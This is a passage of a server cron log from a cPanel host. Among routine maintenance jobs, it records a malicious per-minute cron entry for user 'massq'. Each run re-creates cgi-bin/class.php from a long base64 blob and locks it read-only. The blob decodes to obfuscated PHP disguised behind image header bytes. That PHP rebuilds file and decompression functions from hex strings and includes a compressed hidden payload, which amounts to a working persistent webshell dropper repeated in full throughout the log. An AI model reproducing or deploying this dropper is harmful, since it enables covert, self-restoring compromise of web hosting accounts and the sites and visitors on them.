"$fp")
Aug 31 23:01:01 server run-parts(/etc/cron.hourly)[14986]: starting 0anacron
Aug 31 23:01:01 server run-parts(/etc/cron.hourly)[15005]: finished 0anacron
Aug 31 23:02:01 server CROND[15468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:02:01 server CROND[15470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:02:01 server CROND[15471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:03:01 server CROND[15853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:03:01 server CROND[15852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:03:01 server CROND[15854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:04:01 server CROND[16238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:04:01 server CROND[16239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:04:01 server CROND[16240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:05:01 server CROND[16638]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 23:05:01 server CROND[16639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:05:01 server CROND[16640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:05:01 server CROND[16644]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:05:01 server CROND[16652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 23:05:01 server CROND[16656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:05:01 server CROND[16651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:05:01 server CROND[16650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:05:01 server CROND[16654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:06:01 server CROND[17509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:06:01 server CROND[17510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:06:01 server CROND[17511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:07:01 server CROND[18000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:07:01 server CROND[17999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:07:01 server CROND[18001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:08:01 server CROND[18451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:08:01 server CROND[18452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:08:01 server CROND[18453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:09:01 server CROND[18833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:09:01 server CROND[18834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:09:01 server CROND[18835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:09:01 server CROND[18836]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 23:10:01 server CROND[19231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:10:01 server CROND[19232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:10:01 server CROND[19233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:10:01 server CROND[19236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:10:01 server CROND[19235]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:10:01 server CROND[19240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:10:01 server CROND[19242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:10:01 server CROND[19239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:11:01 server CROND[20073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:11:01 server CROND[20074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:11:01 server CROND[20075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:12:01 server CROND[20601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:12:01 server CROND[20602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:12:01 server CROND[20603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:12:01 server CROND[20604]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:13:01 server CROND[20991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:13:01 server CROND[20992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:13:01 server CROND[20993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:14:01 server CROND[21380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
